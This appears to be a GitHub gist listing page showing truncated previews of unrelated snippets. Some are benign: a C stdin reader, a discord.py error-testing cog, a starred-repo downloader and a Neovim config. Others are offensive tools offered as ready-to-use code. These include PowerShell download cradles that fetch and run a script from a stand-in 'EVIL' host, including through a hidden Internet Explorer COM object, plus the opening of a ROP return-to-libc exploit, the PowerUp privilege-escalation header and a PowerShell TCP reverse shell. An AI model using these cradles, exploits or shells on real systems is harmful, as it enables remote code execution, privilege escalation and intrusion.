Author: John A. Fedoruk <johnny@johnfedoruk.ca>
Key ID: 8937446102D51067EB90DB6AB229A6E87086AD48
Date: 2019-07-03
Covers different areas of programming and the best practices/components explained.
A crate that contains a trait StructOpt. Allows a structure Opt to be converted
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #include <stdio.h> /* getchar() */ | |
| #include <stdlib.h> /* malloc(), realloc() */ | |
| #include <string.h> /* memcpy() */ | |
| /* ----------------------------------------------- | |
| * Create a new string (NUL-terminated array of chars) by reading the stdin. | |
| * Return the newly created string, or NULL on error. | |
| * Args: | |
| * int beExact: If 0 (false), then the size of the created string will | |
| * be an exact multiple of the internally used alloc-ahead |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| """ A Cog dedicated to raise every discord.py error on command with the purpose of testing error handling. """ | |
| import discord | |
| from discord.ext import commands | |
| from discord.ext.commands import Context, Bot, Cog | |
| """ Command Errors: | |
| https://discordpy.readthedocs.io/en/latest/ext/commands/api.html#exception-hierarchy | |
| ConversionError |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/usr/bin/python3 | |
| # Description: download Github starred repositories for a user | |
| # Outputs a JSON file containing name, description, url, homepage, language, number of open issues/stars for each starred repository | |
| # A Personal Access Token must be available in the GITHUB_ACCESS_TOKEN environment variable | |
| # License: | |
| # Copyright 2020 nodiscc <nodiscc@gmail.com> | |
| # Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: | |
| # The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. | |
| # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING B |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| " pip install neovim flake8 pylint jedi yapf pynvim | |
| call plug#begin('~/.local/share/nvim/plugged') | |
| Plug 'davidhalter/jedi-vim' | |
| Plug 'preservim/nerdtree' | |
| Plug 'junegunn/fzf' | |
| Plug 'preservim/nerdcommenter' | |
| Plug 'liuchengxu/vista.vim' | |
| Plug 'jeetsukumaran/vim-pythonsense' |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| # normal download cradle | |
| IEX (New-Object Net.Webclient).downloadstring("http://EVIL/evil.ps1") | |
| # PowerShell 3.0+ | |
| IEX (iwr 'http://EVIL/evil.ps1') | |
| # hidden IE com object | |
| $ie=New-Object -comobject InternetExplorer.Application;$ie.visible=$False;$ie.navigate('http://EVIL/evil.ps1');start-sleep -s 5;$r=$ie.Document.body.innerHTML;$ie.quit();IEX $r | |
| # Msxml2.XMLHTTP COM object |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/usr/bin/env python2 | |
| # Return to LIB_C with ROP to PUTS | |
| import telnetlib | |
| import socket | |
| import struct | |
| host = "host" | |
| port = "port" |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <# | |
| PowerUp aims to be a clearinghouse of common Windows privilege escalation | |
| vectors that rely on misconfigurations. See README.md for more information. | |
| Author: @harmj0y | |
| License: BSD 3-Clause | |
| Required Dependencies: None | |
| Optional Dependencies: None | |
| #> |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| $socket = new-object System.Net.Sockets.TcpClient('127.0.0.1', 413); | |
| if($socket -eq $null){exit 1} | |
| $stream = $socket.GetStream(); | |
| $writer = new-object System.IO.StreamWriter($stream); | |
| $buffer = new-object System.Byte[] 1024; | |
| $encoding = new-object System.Text.AsciiEncoding; | |
| do | |
| { | |
| $writer.Flush(); | |
| $read = $null; |
NewerOlder